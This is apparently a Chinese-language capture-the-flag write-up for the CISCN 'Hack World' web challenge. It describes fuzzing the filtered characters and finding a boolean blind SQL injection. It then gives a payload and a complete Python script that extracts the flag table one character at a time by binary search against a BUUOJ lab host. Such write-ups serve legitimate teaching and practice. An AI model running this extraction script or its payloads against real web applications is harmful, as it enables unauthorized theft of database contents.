[CISCN 华北赛区 Day2 Web1]Hack World

一看题目就知道sql注入

 就是找到注入点后就看能不能使其闭合了,但没办法过滤了太多,使用bp看一下过滤了哪些东西。导入sql fuzz字典。

长度为482的都会提示sql注入,即被过滤的字符,得到这些字符被过滤了

 测试注入点,发现是盲注,直接查flag表flag字段的内容

id=(select(ascii(mid(flag,1,1))=102)from(flag))

编写脚本

import requests
import time
 
url = "http://63e7a48c-6ef5-40b6-98f3-5a854929c808.node4.buuoj.cn:81/index.php"
payload = {
    "id" : ""
}
flag = ""
for i in range(1,200):      #这里调多大都不会有影响,应为判断结束的条件是用空格判断的
    time.sleep(0.06)        
    head = 33
    tail =130
    mid = (head + tail)//2            
    while(head < tail):
        payload["id"] = "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        res = requests.post(url,data=payload)
        time.sleep(0.04)
        # print(payload)
        if "Hello" in res.text:
            head = mid + 1
        else:
            tail = mid
        mid = (head + tail)//2
    if(chr(mid)==" "):
        break
    flag  += chr(mid)
    print(flag)
print("flag: " ,flag)